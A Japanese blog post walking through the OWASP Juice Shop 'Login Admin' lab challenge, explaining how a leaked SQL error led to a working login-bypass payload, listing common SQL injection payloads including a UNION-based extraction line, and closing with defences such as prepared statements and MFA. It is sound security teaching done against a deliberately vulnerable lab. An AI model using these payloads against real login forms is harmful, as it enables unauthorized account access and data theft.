🍈

SQLインジェクションから脆弱性について考えてみる

に公開

はじめに

この記事では、Juice Shopの「Login Admin」チャレンジを通して、SQLインジェクションの基本的な仕組み、ペイロードの考え方、そして対策について紹介します。本記事で紹介する内容は学習目的であり、許可された環境以外での試行は絶対にしないでください。

OWASP Juice Shopについて

OWASP Juice ShopはWebアプリケーションの脆弱性を安全に学べるように作られた、意図的に脆弱性を持つECサイト風アプリケーションです。私はWindows環境で普段開発していますが、kali Linuxを使えば簡単にDockerで起動できましたので、以下の記事を参考に構築してみてください。
https://whitemarkn.com/learning-ethical-hacker/virtualbox-kalilinux2023-1/

Login Adminチャレンジの流れ

以下のコマンドでJuice Shopを起動します。

docker run --rm -p 3000:3000 bkimminich/juice-shop

Juice Shopが起動したら右上のAccountからログイン画面に遷移してください。


目標は管理者アカウントでログイン、になります。
ここで初期調査として、以下を試します。

  • 管理者アカウントのメールアドレスをadmin@juice-sh.opと推測
  • 基本的なパスワード("admin"、"password")を試す。
    当然、失敗します。

    ここで基本的なペイロード「' OR '1'='1」を試してみます。

    ブラウザのネットワークタブで何やら複雑なレスポンスが返ってきました。
    レスポンスボディにエラーメッセージと共に、SQLの断片らしき文字列が含まれていることを確認します。
    ここから、パスワード認証を回避するためのペイロードを組み立てます。
    結論から言うと、「admin@juice-sh.op' AND 1=1 --」で認証を突破することができます。
    解説は後述します。

解読~エラーメッセージはヒントの宝庫~

このセクションでは、エラーメッセージやSQLの断片から、どのようにして攻撃の糸口を見つけ、ペイロードを調整していったかの思考プロセスを記述します。

エラーメッセージの分析

最初に試したペイロード「' OR '1'='1」で返ってきたエラーメッセージは以下でした。

{
  "error": {
    "message": "SQLITE_ERROR: near \"b50cd72da9f57f8bf6880303ff5b7622\": syntax error",
    "stack": "Error\n    at Database.<anonymous> (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:185:27)\n    at /juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:183:50\n    at new Promise (<anonymous>)\n    at Query.run (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:183:12)\n    at /juice-shop/node_modules/sequelize/lib/sequelize.js:315:28\n    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)",
    "name": "SequelizeDatabaseError",
    "parent": {
      "errno": 1,
      "code": "SQLITE_ERROR",
      "sql": "SELECT * FROM Users WHERE email = 'admin@juice-sh.op' OR '1' = '1'' AND password = 'b50cd72da9f57f8bf6880303ff5b7622' AND deletedAt IS NULL"
    },
    "original": {
      "errno": 1,
      "code": "SQLITE_ERROR",
      "sql": "SELECT * FROM Users WHERE email = 'admin@juice-sh.op' OR '1' = '1'' AND password = 'b50cd72da9f57f8bf6880303ff5b7622' AND deletedAt IS NULL"
    },
    "sql": "SELECT * FROM Users WHERE email = 'admin@juice-sh.op' OR '1' = '1'' AND password = 'b50cd72da9f57f8bf6880303ff5b7622' AND deletedAt IS NULL",
    "parameters": {}
  }
}

このエラーから入力したシングルクォートがSQLクエリの文字列リテラルを破壊し、その後の OR '1'='1' がSQL構文として解釈されようとしてエラーになったのではないかと推測しました。sqlキーの値を見ると、以下のクエリが発行されていることが分かります。

SELECT * FROM Users WHERE email = 'admin@juice-sh.op' OR '1' = '1'' AND password = 'b50cd72da9f57f8bf6880303ff5b7622' AND deletedAt IS NULL

目標は「管理者アカウントでログイン」です。単純なペイロードでは、どのユーザーでログインできるか絞りにくいです。そこで、email フィールドに「admin@juice-sh.op」を指定しつつ、その後の AND password = ... の部分を無効化する必要があると考えました。
ここまでのプロセスをまとめると以下です。

  1. 基本的なペイロードを試す
  2. SQLが含まれているレスポンスが返ってくる
  3. SQLクエリの構造から、どんなクエリが発行されているか仮説を立てる
  4. クエリの一部を無効化してログインできる方法を考える
    これらの情報から以下のペイロードを組み立てました。
admin@juice-sh.op' AND 1=1 --

admin@juice-sh.op でまず email の文字列リテラルを閉じ、その後に条件 AND 1=1(常に真)を挿入し、最後に -- で残りをコメントアウトするというペイロードです。

なぜこれでログインできた?SQLインジェクションの仕組み

改めて、なぜこのペイロードでログインできたのか見ていきます。

  • 元のSQLクエリの推測
SELECT * FROM Users WHERE email = '【ユーザー入力のメール】' AND password = '【ユーザー入力のパスワード】';
  • ペイロード挿入後のSQLクエリの変化
SELECT * FROM Users WHERE email = 'admin@juice-sh.op' AND 1=1 -- ' AND password = '...';

ポイントとしては以下になります。

  • email = 'admin@juice-sh.op':管理者アカウントを指定
  • AND 1=1:常に真となる条件を追加することで、email が管理者であればこの条件全体が真になる。
  • --:これ以降のSQLクエリ(パスワード照合部分)をコメントアウトし無効化される。
    結果として、「メールアドレスがadmin@juice-sh.opで、かつ1=1(常に真)」という条件だけでユーザーが特定され、パスワードチェックなしでログインが許可された、ということになります。

ペイロードの種類

このセクションでは、SQLインジェクションで使われる代表的なペイロードのパターンをいくつか紹介します。

認証バイパス系ペイロード

  • ' OR '1'='1
  • ' OR '1'='1' -- (または ' OR '1'='1' #)
  • admin' --
  • admin' OR 'a'='a

コメントアウトの種類

  • -- (ハイフン2つとスペース。スペースが重要)
  • /* ... */ (複数行コメント)

UNIONベースのSQLインジェクション (情報漏洩)

  • ' UNION SELECT null, version(), database() --
    他のテーブルから情報を不正に取得できる攻撃もあります。

攻撃を防ぐための基本的な対策

ここまで攻撃側の視点で話をしましたが、どんな対策を取れば良いのかについて紹介します。

  • プリペアドステートメント(プレースホルダー)の利用
    これが最も重要かつ効果的な対策ではないでしょうか。SQLクエリの構造とデータを分離することで、ユーザー入力がSQL命令として解釈されるのを防いでくれます。
  • 入力値のエスケープ処理
    その次に、特殊文字を無害化することは、実装もシンプルで済みますし効果的と思います。
  • 入力値の検証(バリデーション)
    メールアドレス形式のチェックなど、不正な入力を初期段階で弾くことも重要と思います。
  • 多要素認証(MFA)の有効性
    最も現代的な解決策ともいえるでしょう。最近のログイン認証はこの手法がほとんどです。認証のレイヤーを増やすことも検討してみるといいです。
    多要素認証の有効性、メリット・デメリットについてもそのうちまとめたいと思います。

最後に

「Login Admin」チャレンジを通して、SQLインジェクションの脅威と対策の重要性を実践的に学べたこと、そして何より「解読」していく過程の面白さを体験できました。
Juice Shopには他にもたくさんのチャレンジがあり、今後も挑戦したいです。
Webセキュリティの学習は試行錯誤の連続ですが、実際に手を動かし、現象を分析することで理解が深まる楽しさもあるので、皆さんもやってみてはいかがでしょうか。
皆さんもぜひOWASP Juice Shopで、安全なハッキング体験を通じて多くを学んでみてください。この記事が少しでもその一助となれば幸いです。

Discussion